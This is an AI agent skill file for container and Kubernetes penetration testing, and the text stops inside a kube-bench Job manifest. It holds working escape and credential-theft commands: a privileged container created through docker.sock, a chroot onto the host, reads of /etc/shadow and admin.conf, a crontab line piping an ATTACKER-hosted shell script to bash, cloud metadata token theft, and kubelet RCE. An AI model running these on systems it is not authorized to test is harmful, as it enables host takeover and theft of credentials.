container-k8s-security

name	container-k8s-security
description	Container and Kubernetes security assessment. Tests container escape vectors, Docker/containerd socket exposure, K8s RBAC misconfigurations, pod security violations, exposed API servers, etcd access, service account token abuse, image layer secrets, private registry attacks, SSRF to metadata services, cross-namespace network bypass, CIS benchmarks, crypto miner detection, resource exhaustion, and admission controller gaps. Both external and internal (compromised pod) perspectives. Uses trivy, kube-bench, kubectl, nuclei, dive, amicontained, and docker-bench-security. Covers OWASP Kubernetes Top 10 and all 22 Kubernetes Goat attack scenarios.
argument-hint	<target> [type=docker|kubernetes|both] [perspective=external|internal|both] [depth=quick|standard|thorough]
user-invocable	true

Container & Kubernetes Security Assessment

You are an expert container and Kubernetes security engineer performing a comprehensive assessment. Your goal: systematically identify every attack vector in the target environment — container escapes, Kubernetes misconfigurations, RBAC abuse, exposed secrets, image supply chain weaknesses, network segmentation failures, and missing security controls — from both external and internal (compromised pod) perspectives.

This skill covers all 22 Kubernetes Goat attack scenarios and the full OWASP Kubernetes Top 10.

Request: $ARGUMENTS

---

CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

Trigger	Chain	Mandatory?
After session(action="complete")	/gh-export	OPTIONAL — user request only
Container escape achieved	/post-exploit	MANDATORY
Default credentials found on services	/credential-audit	OPTIONAL
Architecture review needed	/threat-modeling	OPTIONAL

Invoking a chained skill: follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md — do not hard-code client-specific syntax here.

Tools Available

Tool	Use for
session(action="start", options={...})	Define target, scope, depth, and hard limits — always call this first
session(action="complete", options={...})	Mark the scan done and write final notes
scan(tool="nuclei", ...)	Kubernetes/Docker vulnerability templates
scan(tool="nmap", ...)	Service discovery (API servers, etcd, kubelet, NodePorts)
kali(command=...)	Kali tools: trivy, kubectl, curl, kube-bench, docker
http(action="request", ...)	Direct API probing — K8s API server, etcd, kubelet, Docker API, registries
http(action="save_poc", ...)	Save a confirmed exploit as a raw .http file in pocs/
report(action="finding", data={...})	Log a confirmed vulnerability with evidence to findings.json
report(action="diagram", data={...})	Save a Mermaid diagram (K8s topology, attack paths) to findings.json
report(action="dashboard", data={"port": 7777})	Serve dashboard.html at localhost:7777
report(action="note", data={...})	Write a reasoning note or decision to the session log

Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) — this writes the SKILL_CHAIN entry to pentest.log.

---

ATT&CK Coverage

Technique	ID	What we test
Exploit Public-Facing App	T1190	Exposed K8s API server, Docker daemon, etcd, kubelet, registries, NodePort services
Deploy Container	T1610	Unauthorized container/pod creation, hacker container deployment
Container Admin Command	T1609	Exec into containers, kubectl abuse, kubelet /run endpoint RCE
Escape to Host	T1611	Container breakout via privileged mode, hostPath, chroot, Docker/containerd socket, capabilities
Container Image Discovery	T1613	Image enumeration, private registry /v2/_catalog, image layer inspection
Unsecured Credentials in Files	T1552.007	Service account tokens, secrets in env vars, secrets in image layers, .git exposure
Network Service Discovery	T1046	Cross-namespace scanning, internal service discovery via K8s DNS
Cloud Instance Metadata	T1552.005	SSRF to 169.254.169.254, cloud credential theft
Resource Hijacking	T1496	Crypto miner detection in containers and image layers
Account Discovery	T1087	RBAC enumeration, ClusterRoleBinding audit, SA permission escalation

---

OWASP Kubernetes Top 10 Coverage Matrix

#	Category	Phase	Tests
K01	Insecure Workload Configuration	4, 5	Privileged pods, host namespaces (PID/IPC/Net), hostPath mounts, root containers, missing readOnlyRootFilesystem, dangerous capabilities (SYS_ADMIN, SYS_PTRACE, NET_RAW, AUDIT_CONTROL), missing seccomp/AppArmor profiles
K02	Supply Chain Vulnerabilities	7, 8	Image scanning (Trivy), unsigned images, untrusted registries, image layer secret extraction (docker history, docker save, dive), crypto miner payloads in images, .git exposure in container images
K03	Overly Permissive RBAC	6	ClusterRoleBindings to cluster-admin, wildcard permissions, service account abuse, SA token API probing, missing resourceNames restrictions, pod creation RBAC
K04	Lack of Centralized Policy Enforcement	11	Missing admission controllers (OPA/Gatekeeper, Kyverno, PodSecurity), missing PodSecurityStandards enforcement, ability to deploy arbitrary images
K05	Inadequate Logging and Monitoring	11	Missing audit logging (--audit-log-path), missing runtime security (Falco, Tetragon), no anomaly detection
K06	Broken Authentication Mechanisms	3, 5	API server anonymous auth, kubelet anonymous auth + /run RCE, default service account auto-mount, bootstrap tokens, etcd unauthenticated access
K07	Missing Network Segmentation	9	Missing NetworkPolicies, cross-namespace pod connectivity, flat network exploitation, NodePort exposure
K08	Secrets Management Failures	7	Secrets as env vars (not volume mounts), unencrypted etcd, secrets in git/codebases, secrets in image layers, plaintext secrets in manifests, missing external secrets operator
K09	Misconfigured Cluster Components	3, 10	API server flags (--anonymous-auth, --allow-privileged, --authorization-mode), kubelet config, etcd encryption, kube-bench CIS audit, docker-bench-security audit
K10	Outdated and Vulnerable K8s Components	3, 8	K8s version CVEs, addon versions, container image CVEs (Trivy), EOL base images

---

Depth Presets

Depth	What runs	Default limits
quick	Phase 1-3: Discovery + API probing + anonymous auth	$0.10
standard	Quick + Phase 4-7: Pod security + RBAC + secrets + images	$0.50
thorough	Standard + Phase 8-11: CIS benchmarks + network segmentation + escape exploitation + defensive gap analysis	unlimited

---

Workflow

Phase 0 — Scope & Setup

0. Call session(action="start", options={...}) with target, depth, and limits
1. Call report(action="dashboard", data={"port": 7777}) — live findings tracker
2. Call report(action="note", data={...}) — record: target type (Docker/K8s/both), perspective (external/internal/both), access level (anonymous/token/kubeconfig), cluster type (kind/EKS/GKE/AKS/vanilla)

---

Phase 1 — Service Discovery & Port Scanning

K8s infrastructure port scan:

scan(tool="nmap", target=HOST, options={"ports": "443,2375,2376,2379,2380,4194,5000,6443,8001,8080,8443,8888,9090,10250,10255,10256,30000-32767"})

Port reference:

Port	Service	Risk if exposed
2375/2376	Docker daemon (HTTP/HTTPS)	Critical — full container control
2379/2380	etcd (client/peer)	Critical — all cluster state + secrets
5000	Container registry	High — image enumeration + secret extraction
6443	K8s API server	Critical if anonymous auth enabled
8001	kubectl proxy	High — unauthenticated API access
8080	K8s API insecure port	Critical — no auth required
10250	Kubelet API (HTTPS)	Critical if anonymous auth — RCE via /run
10255	Kubelet read-only	Medium — pod enumeration
30000-32767	NodePort range	Depends on exposed services

---

Phase 2 — NodePort Service Enumeration

Scan NodePort range for exposed services:

scan(tool="nmap", target=HOST, options={"ports": "30000-32767", "flags": "-sV"})

Enumerate NodePort services via API (if authenticated):

kali(command="kubectl get svc --all-namespaces -o json 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); [print(f\"{s[\"metadata\"][\"namespace\"]}/{s[\"metadata\"][\"name\"]}: type={s[\"spec\"][\"type\"]} ports={[(p.get(\"nodePort\",\"N/A\"),p[\"port\"],p[\"targetPort\"]) for p in s[\"spec\"].get(\"ports\",[])]}\" ) for s in d.get(\"items\",[]) if s[\"spec\"].get(\"type\") == \"NodePort\"]'")

For each discovered NodePort, probe the service:

http(action="request", url="http://TARGET:NODEPORT/", method="GET")

Any NodePort service is a finding — report each one with the service name, namespace, and what it exposes. NodePort services bypass ingress controls and are accessible on every node IP.

---

Phase 3 — K8s API Server & Control Plane Probing

API server version leak + anonymous auth:

http(action="request", url="https://TARGET:6443/version", method="GET")
http(action="request", url="https://TARGET:6443/api", method="GET")
http(action="request", url="https://TARGET:6443/api/v1/namespaces", method="GET")

Anonymous pod and secret enumeration:

kali(command="curl -sk https://TARGET:6443/api/v1/pods 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); [print(f\"{p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]}: {[c[\"image\"] for c in p[\"spec\"][\"containers\"]]}\") for p in d.get(\"items\",[])]' 2>/dev/null | head -30")
kali(command="curl -sk https://TARGET:6443/api/v1/secrets 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); print(f\"Secrets accessible: {len(d.get(\"items\",[]))}\"); [print(f\"  {s[\"metadata\"][\"namespace\"]}/{s[\"metadata\"][\"name\"]}: keys={list(s.get(\"data\",{}).keys())}\") for s in d.get(\"items\",[])[:20]]' 2>/dev/null")

etcd direct access (unauthenticated):

kali(command="curl -sk https://TARGET:2379/version 2>/dev/null")
kali(command="curl -sk https://TARGET:2379/v2/keys/ 2>/dev/null | head -50")
kali(command="curl -sk https://TARGET:2379/v3/kv/range -X POST -H 'Content-Type: application/json' -d '{\"key\": \"L3JlZ2lzdHJ5\"}' 2>/dev/null | head -100")

Docker daemon exposure:

http(action="request", url="http://TARGET:2375/version", method="GET")
http(action="request", url="http://TARGET:2375/containers/json", method="GET")
http(action="request", url="http://TARGET:2375/images/json", method="GET")

Kubelet API — unauthenticated pod listing:

http(action="request", url="https://TARGET:10250/pods", method="GET")
http(action="request", url="http://TARGET:10255/pods", method="GET")

Kubelet RCE via /run endpoint (anonymous auth): If kubelet returns pods at /pods, test command execution:

kali(command="curl -sk https://TARGET:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -X POST -d 'cmd=id' 2>/dev/null")

This is a Critical finding — unauthenticated RCE on any container via the kubelet API.

kubectl proxy / insecure port:

http(action="request", url="http://TARGET:8001/api/v1/namespaces", method="GET")
http(action="request", url="http://TARGET:8080/api/v1/namespaces", method="GET")

Call report(action="diagram", data={...}) with discovered K8s topology after this phase.

---

Phase 4 — Pod Security Context Audit (standard+)

Comprehensive pod security audit — check ALL dangerous configurations:

kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for p in d.get(\"items\", []):
    ns = p[\"metadata\"][\"namespace\"]
    name = p[\"metadata\"][\"name\"]
    spec = p[\"spec\"]
    issues = []
    # Host namespaces
    if spec.get(\"hostNetwork\"): issues.append(\"hostNetwork=true\")
    if spec.get(\"hostPID\"): issues.append(\"hostPID=true\")
    if spec.get(\"hostIPC\"): issues.append(\"hostIPC=true\")
    # SA auto-mount
    if spec.get(\"automountServiceAccountToken\", True): issues.append(\"SA-automount=true\")
    for c in spec.get(\"containers\", []):
        sc = c.get(\"securityContext\", {})
        # Privileged
        if sc.get(\"privileged\"): issues.append(f\"{c[\"name\"]}:privileged\")
        # Root
        if sc.get(\"runAsUser\") == 0 or not sc.get(\"runAsNonRoot\", False): issues.append(f\"{c[\"name\"]}:root-possible\")
        # Writable rootfs
        if not sc.get(\"readOnlyRootFilesystem\", False): issues.append(f\"{c[\"name\"]}:writable-rootfs\")
        # Dangerous capabilities
        caps = sc.get(\"capabilities\", {}).get(\"add\", [])
        dangerous = [cap for cap in caps if cap in [\"SYS_ADMIN\",\"SYS_PTRACE\",\"NET_RAW\",\"NET_ADMIN\",\"DAC_OVERRIDE\",\"AUDIT_CONTROL\",\"ALL\"]]
        if dangerous: issues.append(f\"{c[\"name\"]}:caps={dangerous}\")
        # No resource limits
        res = c.get(\"resources\", {})
        if not res.get(\"limits\"): issues.append(f\"{c[\"name\"]}:no-limits\")
    # hostPath volumes
    for v in spec.get(\"volumes\", []):
        hp = v.get(\"hostPath\", {}).get(\"path\", \"\")
        if hp: issues.append(f\"hostPath={hp}\")
    if issues:
        print(f\"{ns}/{name}: {\"  \".join(issues)}\")
' 2>/dev/null")

Severity reference for pod security findings:

Config	Severity	Impact
privileged: true	Critical	Full host device access, container escape trivial
hostPID: true + hostNetwork: true + hostIPC: true	Critical	Full host namespace access
hostPath: / or /var/run/docker.sock	Critical	Host filesystem/Docker API access
hostPath: /etc or /var/lib	High	Sensitive host config/data access
capabilities: [SYS_ADMIN]	Critical	Mount host filesystem, escape container
capabilities: [SYS_PTRACE]	High	Debug/inject into host processes
capabilities: [NET_RAW, NET_ADMIN]	Medium	ARP spoofing, network sniffing
runAsUser: 0 / no runAsNonRoot	Medium	Root in container, kernel exploit surface
No readOnlyRootFilesystem	Low	Attacker can modify container filesystem
No resource limits	Medium	DoS via resource exhaustion (CPU/memory)
automountServiceAccountToken: true	Medium	SA token available for API access

---

Phase 5 — Container Escape Vector Analysis (standard+)

Test from inside containers (via exec or compromised pod perspective).

5a. Container runtime socket discovery:

kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
sockets = [\"/var/run/docker.sock\", \"/run/containerd/containerd.sock\", \"/run/crio/crio.sock\", \"/var/run/cri-dockerd.sock\"]
for p in d.get(\"items\", []):
    for v in p[\"spec\"].get(\"volumes\", []):
        hp = v.get(\"hostPath\", {}).get(\"path\", \"\")
        if any(s in hp for s in sockets):
            print(f\"CRITICAL: {p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]} mounts {hp}\")
' 2>/dev/null")

If a container mounts docker.sock, exploit with:

# List all containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
# Create privileged container with host root mounted
curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  http://localhost/containers/create

If containerd.sock is mounted, exploit with crictl:

crictl --runtime-endpoint unix:///run/containerd/containerd.sock ps
crictl --runtime-endpoint unix:///run/containerd/containerd.sock exec -it CONTAINER_ID sh

5b. Privileged container escape via chroot: From inside a privileged container:

# Check if privileged
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged

# Verify capabilities
capsh --print 2>/dev/null || cat /proc/self/status | grep Cap

# Mount host filesystem and chroot
mkdir -p /host-system
mount /dev/sda1 /host-system 2>/dev/null || mount /dev/vda1 /host-system 2>/dev/null
chroot /host-system bash

# Steal kubelet credentials for full cluster access
cat /etc/kubernetes/admin.conf 2>/dev/null
cat /etc/kubernetes/kubelet.conf 2>/dev/null
cat /var/lib/kubelet/config.yaml 2>/dev/null

5c. hostPath escape: If a container has hostPath mounted (e.g., /var/lib/google, /host-system, /etc):

# Read host files
ls -la /mounted-host-path/
cat /mounted-host-path/etc/shadow 2>/dev/null
cat /mounted-host-path/etc/kubernetes/admin.conf 2>/dev/null

# Write cron job for persistence
echo "* * * * * root curl http://ATTACKER/shell.sh | bash" >> /mounted-host-path/etc/crontab

5d. Container introspection (from inside pod):

# Identify container runtime and capabilities
amicontained 2>/dev/null
cat /proc/self/cgroup
cat /proc/1/cgroup

# Check mounted filesystems for escape vectors
mount | grep -v overlay
df -h

# Check for host process visibility (hostPID)
ls /proc/1/root/etc/hostname 2>/dev/null && echo "HOST PID NAMESPACE - can see host processes"

# Check network namespace (hostNetwork)
ip a 2>/dev/null || ifconfig 2>/dev/null
cat /etc/resolv.conf

---

Phase 6 — RBAC & Service Account Audit (standard+)

6a. Overly permissive ClusterRoleBindings:

kali(command="kubectl get clusterrolebindings -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for b in d.get(\"items\", []):
    role = b[\"roleRef\"][\"name\"]
    subjects = b.get(\"subjects\", [])
    # Flag cluster-admin, admin, edit bindings
    if role in [\"cluster-admin\", \"admin\", \"edit\"]:
        for s in subjects:
            kind = s.get(\"kind\", \"?\")
            name = s.get(\"name\", \"?\")
            ns = s.get(\"namespace\", \"cluster-wide\")
            print(f\"HIGH: {b[\"metadata\"][\"name\"]}: {role} -> {kind}/{name} (ns={ns})\")
    # Flag wildcard permissions in custom roles
' 2>/dev/null")

6b. Wildcard and overly broad Roles/ClusterRoles:

kali(command="kubectl get clusterroles -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for r in d.get(\"items\", []):
    name = r[\"metadata\"][\"name\"]
    if name.startswith(\"system:\"): continue
    for rule in r.get(\"rules\", []):
        resources = rule.get(\"resources\", [])
        verbs = rule.get(\"verbs\", [])
        resNames = rule.get(\"resourceNames\", [])
        # Flag: wildcard verbs or resources
        if \"*\" in verbs or \"*\" in resources:
            print(f\"CRITICAL: {name}: verbs={verbs} resources={resources}\")
        # Flag: get/list secrets without resourceNames restriction
        elif \"secrets\" in resources and any(v in verbs for v in [\"get\",\"list\",\"watch\"]) and not resNames:
            print(f\"HIGH: {name}: can read ALL secrets (no resourceNames) verbs={verbs}\")
        # Flag: create pods (can be used to escalate)
        elif \"pods\" in resources and \"create\" in verbs:
            print(f\"MEDIUM: {name}: can create pods (potential escalation)\")
' 2>/dev/null")

6c. Default ServiceAccount token auto-mount:

kali(command="kubectl get serviceaccounts --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for sa in d.get(\"items\", []):
    ns = sa[\"metadata\"][\"namespace\"]
    name = sa[\"metadata\"][\"name\"]
    automount = sa.get(\"automountServiceAccountToken\", True)
    if name == \"default\" and automount:
        print(f\"MEDIUM: {ns}/default: automountServiceAccountToken=true (should be false)\")
' 2>/dev/null")

6d. SA token API access testing (from inside a pod): Test what a mounted ServiceAccount token can actually do:

# Set up API access variables
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
export SA=/var/run/secrets/kubernetes.io/serviceaccount
export TOKEN=$(cat ${SA}/token)
export CACERT=${SA}/ca.crt
export NS=$(cat ${SA}/namespace)

# Test auth — what can this SA do?
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api 2>/dev/null

# Try to list secrets (RBAC escalation test)
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api/v1/secrets 2>/dev/null | head -50

# Try to list secrets in current namespace
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api/v1/namespaces/${NS}/secrets 2>/dev/null | head -50

# Try to create pods (privilege escalation path)
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api/v1/namespaces/${NS}/pods -X POST 2>/dev/null | head -20

# Check permissions programmatically
kubectl auth can-i --list 2>/dev/null
kubectl auth can-i get secrets 2>/dev/null
kubectl auth can-i create pods 2>/dev/null
kubectl auth can-i create clusterrolebindings 2>/dev/null

---

Phase 7 — Secrets & Credential Exposure (standard+)

7a. Enumerate all K8s secrets:

kali(command="kubectl get secrets --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys, base64
d = json.load(sys.stdin)
for s in d.get(\"items\", []):
    ns = s[\"metadata\"][\"namespace\"]
    name = s[\"metadata\"][\"name\"]
    stype = s[\"type\"]
    keys = list(s.get(\"data\", {}).keys())
    # Flag non-SA secrets (likely application secrets)
    if stype != \"kubernetes.io/service-account-token\":
        print(f\"{ns}/{name}: type={stype} keys={keys}\")
        # Try to decode values (look for passwords, keys, tokens)
        for k, v in s.get(\"data\", {}).items():
            try:
                decoded = base64.b64decode(v).decode(\"utf-8\", errors=\"replace\")[:80]
                if any(word in k.lower() for word in [\"password\",\"secret\",\"key\",\"token\",\"api\",\"credential\"]):
                    print(f\"  -> {k}: {decoded}\")
            except: pass
' 2>/dev/null | head -50")

7b. Check for secrets injected as environment variables (worse than volume mounts):

kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for p in d.get(\"items\", []):
    ns = p[\"metadata\"][\"namespace\"]
    name = p[\"metadata\"][\"name\"]
    for c in p[\"spec\"].get(\"containers\", []):
        for env in c.get(\"env\", []):
            vf = env.get(\"valueFrom\", {})
            sr = vf.get(\"secretKeyRef\", {})
            if sr:
                print(f\"MEDIUM: {ns}/{name}/{c[\"name\"]}: env {env[\"name\"]} <- secret/{sr.get(\"name\",\"?\")}:{sr.get(\"key\",\"?\")} (should use volume mount)\")
            # Hardcoded sensitive env vars
            val = env.get(\"value\", \"\")
            ename = env.get(\"name\", \"\")
            if val and any(w in ename.upper() for w in [\"PASSWORD\",\"SECRET\",\"KEY\",\"TOKEN\",\"API_KEY\",\"CREDENTIAL\"]):
                print(f\"HIGH: {ns}/{name}/{c[\"name\"]}: hardcoded {ename}={val[:30]}...\")
' 2>/dev/null | head -30")

7c. Environment variable and mount enumeration from inside a pod:

# Dump all env vars — K8s injects service discovery info
printenv | sort

# Check for service account token mount
ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null

# Check for secret volume mounts
mount | grep secret
mount | grep configmap

# K8s DNS service discovery — find internal services
cat /etc/resolv.conf
# Probe services: servicename.namespace.svc.cluster.local

# Check /proc for cgroup info (container runtime detection)
cat /proc/self/cgroup 2>/dev/null
cat /proc/1/cgroup 2>/dev/null

# Check /etc/hosts for injected entries
cat /etc/hosts

7d. .git exposure in running containers:

kali(command="kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace} {.metadata.name} {.spec.containers[0].name}{\"\\n\"}{end}' 2>/dev/null | head -20 | while read ns pod ctr; do echo \"Checking $ns/$pod...\"; kubectl exec -n \"$ns\" \"$pod\" -c \"$ctr\" -- ls -la /.git 2>/dev/null && echo \"CRITICAL: .git found in $ns/$pod\"; done")

If .git is found in a container, secrets may be in git history:

kubectl exec -n NAMESPACE POD -- git -C / log --oneline --all 2>/dev/null
kubectl exec -n NAMESPACE POD -- git -C / log --all -p -S 'password' 2>/dev/null | head -50

7e. Check etcd encryption at rest:

kali(command="kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath='{.items[0].spec.containers[0].command}' 2>/dev/null | tr ',' '\\n' | grep -i encrypt")

If --encryption-provider-config is absent, secrets are stored in plaintext in etcd.

---

Phase 8 — Image Security & Supply Chain (standard+)

8a. List all container images in the cluster:

kali(command="kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.containers[*]}{.image}{\" \"}{end}{\"\\n\"}{end}' 2>/dev/null | sort -u")

8b. Image vulnerability scanning with Trivy: For each unique image (use --image-src remote to pull from registry, or omit for local Docker):

kali(command="sh -c 'trivy image --severity CRITICAL,HIGH --no-progress --image-src remote IMAGE:TAG > /tmp/trivy-output.txt 2>&1; cat /tmp/trivy-output.txt'")

Flag images that:

• Use latest tag (mutable, unpinned)
• Reference Docker Hub without digest pinning
• Are EOL base images (e.g., redis:5.0.4, node:8, python:2)
• Have CRITICAL CVEs

8c. Image layer inspection — hidden secrets:

Approach depends on the container runtime. Detect first, then use the appropriate method.

Docker runtime (docker.sock available):

kali(command="sh -c 'docker history --no-trunc IMAGE:TAG > /tmp/history.txt 2>&1; cat /tmp/history.txt'")

containerd/CRI runtime (kind, EKS, GKE, most modern clusters): Images live inside cluster nodes, not accessible via Docker CLI. Use crictl on the node:

# Inspect image config (env vars, user, entrypoint) — run on the node hosting the image
kubectl debug node/NODE_NAME -it --image=busybox -- crictl inspecti IMAGE:TAG

# Or via docker exec if kind cluster:
docker exec NODE_NAME crictl inspecti IMAGE:TAG 2>/dev/null | python3 -c "
import json,sys; d=json.load(sys.stdin)
c=d.get('info',{}).get('imageSpec',{}).get('config',{})
for e in c.get('Env',[]): print(f'ENV: {e}')
print(f'User: {c.get(\"User\",\"(not set = root)\")}')
print(f'Entrypoint: {c.get(\"Entrypoint\",[])}')
print(f'Cmd: {c.get(\"Cmd\",[])}')
"

# Export image for layer analysis with dive:
docker exec NODE_NAME crictl image export /tmp/image.tar IMAGE:TAG 2>/dev/null
docker cp NODE_NAME:/tmp/image.tar /tmp/image.tar

Look for patterns in history/config output:

• COPY secret.txt, ADD credentials, COPY .env
• RUN rm /root/secret.txt (file was added then deleted — still in previous layer)
• RUN echo "password" > /config followed by RUN rm /config
• RUN curl downloading suspicious payloads
• Obfuscated commands (base64 encoded, hex strings)

For Docker-runtime clusters, extract and inspect individual layers:

kali(command="sh -c 'docker save IMAGE:TAG -o /tmp/image.tar && tar -tf /tmp/image.tar'")
kali(command="sh -c 'cd /tmp && tar -xf image.tar && for layer in */layer.tar; do echo \"=== $layer ===\"; tar -tf \"$layer\" | grep -iE \"secret|password|key|token|credential|.env|.git|id_rsa|.pem\" 2>/dev/null; done'")

8d. Dive analysis:

dive needs a Docker daemon or an archive file. Choose the right source:

# Docker runtime — pull directly
kali(command="sh -c 'dive IMAGE:TAG --ci > /tmp/dive.txt 2>&1; cat /tmp/dive.txt'")

# containerd/CRI runtime — use exported archive from 8c
kali(command="sh -c 'dive --source docker-archive /tmp/image.tar --ci > /tmp/dive.txt 2>&1; cat /tmp/dive.txt'")

# Remote registry — pull from registry (works without Docker)
kali(command="sh -c 'dive IMAGE:TAG --ci --source remote > /tmp/dive.txt 2>&1; cat /tmp/dive.txt'")

Note: For images only available inside cluster nodes (not on public registries), you must export via crictl first (see 8c), then use --source docker-archive.

8e. Crypto miner detection in images: Look for crypto mining indicators in image layers and running processes:

kali(command="sh -c 'docker history --no-trunc IMAGE:TAG 2>/dev/null | grep -iE \"xmrig|minergate|coinhive|cryptonight|stratum|pool\\.|monero|bitcoin|ethereum|curl.*mining|wget.*miner|system-startup\"'")

From inside running containers, check for suspicious processes:

kali(command="kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace} {.metadata.name} {.spec.containers[0].name}{\"\\n\"}{end}' 2>/dev/null | head -20 | while read ns pod ctr; do echo \"=== $ns/$pod ===\"; kubectl exec -n \"$ns\" \"$pod\" -c \"$ctr\" -- ps aux 2>/dev/null | grep -ivE 'grep|ps' | head -10; done")

8f. Private container registry enumeration: Scan for exposed registries on port 5000 or discovered via service enumeration:

http(action="request", url="http://TARGET:5000/v2/", method="GET")
http(action="request", url="http://TARGET:5000/v2/_catalog", method="GET")

If the registry is accessible, enumerate repositories and extract image configs:

kali(command="curl -s http://REGISTRY:5000/v2/_catalog 2>/dev/null")
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/tags/list 2>/dev/null")
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/manifests/TAG 2>/dev/null | head -50")

Look for environment variables with secrets in image manifests:

kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/manifests/TAG -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); config_digest=d.get(\"config\",{}).get(\"digest\",\"\"); print(f\"Config digest: {config_digest}\")' 2>/dev/null")
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/blobs/CONFIG_DIGEST 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); env=d.get(\"config\",{}).get(\"Env\",[]); [print(f\"ENV: {e}\") for e in env]' 2>/dev/null")

---

Phase 9 — Network Segmentation & Cross-Namespace Testing (thorough)

9a. Check for NetworkPolicies:

kali(command="kubectl get networkpolicies --all-namespaces 2>/dev/null")

No NetworkPolicies = Medium finding — all pods can communicate freely across all namespaces.

9b. List all namespaces and services for cross-namespace probing:

kali(command="kubectl get namespaces 2>/dev/null")
kali(command="kubectl get svc --all-namespaces 2>/dev/null")

9c. Cross-namespace connectivity test (from inside a pod): The Kubernetes flat network model means any pod can reach any other pod by default unless NetworkPolicies restrict it.

# Discover services in other namespaces via DNS
nslookup kubernetes.default.svc.cluster.local
nslookup redis-service.prod-1.svc.cluster.local
nslookup kubernetes-dashboard.kube-system.svc.cluster.local

# Scan for services across the pod CIDR
# Find pod CIDR from env or resolv.conf
cat /etc/resolv.conf
ip route 2>/dev/null

# Scan internal network for common services
nmap -sT -p 80,443,3306,5432,6379,8080,8443,9200,27017 10.244.0.0/16 2>/dev/null | grep -B5 "open"

9d. SSRF to cloud metadata services: If pods can reach 169.254.169.254, cloud credentials may be accessible:

# AWS metadata
curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME 2>/dev/null

# GCP metadata
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ 2>/dev/null
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token 2>/dev/null

# Azure metadata
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" 2>/dev/null

9e. K8s internal DNS service discovery for SSRF: From inside a pod, enumerate internal services via DNS:

# Kubernetes API internal endpoint
curl -sk https://kubernetes.default.svc.cluster.local/api/v1/namespaces 2>/dev/null | head -20

# Discover services by brute-forcing common names
for svc in redis mysql postgres mongodb elasticsearch dashboard grafana prometheus kibana; do
  for ns in default kube-system prod-1 staging monitoring; do
    nslookup ${svc}.${ns}.svc.cluster.local 2>/dev/null | grep -v NXDOMAIN && echo "FOUND: ${svc}.${ns}"
  done
done

---

Phase 10 — CIS Benchmark Audits (thorough)

10a. Kubernetes CIS Benchmark via kube-bench:

kube-bench must run on cluster nodes (needs access to kubelet config, API server manifests, etcd). Deploy as a K8s Job — this is the recommended approach for all cluster types:

kali(command="kubectl apply -f - <<'EOF'
apiVersion: batch/v1
kind: Job
metadata:
  name: kube-bench-master
spec:
  template:
    spec:
      hostPID: true
      containers:
      - name: kube-bench
        image: docker.io/aquasec/kube-bench:latest
        command: [\"kube-bench\", \"run\", \"--targets\", \"master\"]
        volumeMounts:
        - name: var-lib-kubelet
          mountPath: /var/lib/kubelet
          readOnly: true
        - name: etc-kubernetes
          mountPath: /etc/kubernetes
          readOnly: true
        - name: etc-systemd
          mountPath: /etc/systemd
          readOnly: true
      restartPolicy: Never
      tolerations:
      - key: node-role.kubernetes.io/control-plane
        operator: Exists
        effect: NoSchedule
      - key: node-role.kubernetes.io/master
        operator: Exists
        effect: NoSchedule
      nodeSelector:
        node-role.kubernetes.io/control-plane: \"\"
      volumes:
      - name: var-lib-kubelet
        hostPath:
          path: /var/lib/kubelet
      - name: etc-kubernetes
        hostPath:
          path: /etc/kubernetes
      - name: etc-systemd
        hostPath:
          path: /etc/systemd
EOF
